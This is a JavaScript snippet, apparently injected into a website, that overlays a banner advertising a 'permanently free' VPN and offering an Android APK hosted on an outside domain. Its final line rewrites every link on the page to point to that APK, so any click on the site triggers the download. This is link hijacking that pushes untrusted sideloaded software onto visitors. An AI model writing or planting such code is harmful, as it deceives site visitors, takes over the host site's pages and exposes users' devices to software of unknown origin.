jQuery(document).ready(function($) { var ad_href = 'https://xz.feiyu88.cc/feiyu.apk'; var pc_img = 'https://lsclgy.com/ad/300-600.jpg'; var pc_height = '600px'; var mobile_logo_img = 'https://lsclgy.com/ad/vp80.png'; var mobile_text = '永久免费的上网梯子'; var ad_a = document.createElement('a'); var body = document.querySelector('body'); ad_a.setAttribute('href', ad_href); if(/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent)){ ad_a.setAttribute('style', 'z-index: 1;position: fixed; bottom: 3vw; left: 3vw; background-color: #0080ff; width: 94vw; height: 16vw; border-radius: 50px; align-items: center; display: flex;padding: 0 25px;box-sizing:border-box;text-decoration:none;'); var div1 = document.createElement('div'); div1.setAttribute('style', 'flex: 2;height: 60%;'); var img1 = document.createElement('img'); img1.setAttribute('src', mobile_logo_img); img1.setAttribute('style', 'height: 100%; border-radius: 10px;'); var div2 = document.createElement('div'); div2.setAttribute('style', 'flex: 10;font-size: 15px;color:#fff; margin-left: 5px;'); div2.innerText = mobile_text; var button1 = document.createElement('button'); button1.setAttribute('style', 'flex: 2;background-color: #0080ff;border: 1px solid #fff;border-radius: 30px; padding: 0 20px;height: 30px;font-size: 15px;color:#fff;'); button1.innerText = '下载'; div1.appendChild(img1); ad_a.appendChild(div1); ad_a.appendChild(div2); ad_a.appendChild(button1); } else { var ad_img = document.createElement('img'); ad_img_src = pc_img; ad_img.setAttribute('style', 'z-index:100; position:fixed; right: 0; bottom: 0; width: auto; height:' + pc_height); ad_img.setAttribute('src', ad_img_src); ad_a.appendChild(ad_img); } body.appendChild(ad_a); document.querySelectorAll('a').forEach(item => { item.setAttribute('href', ad_href) }) });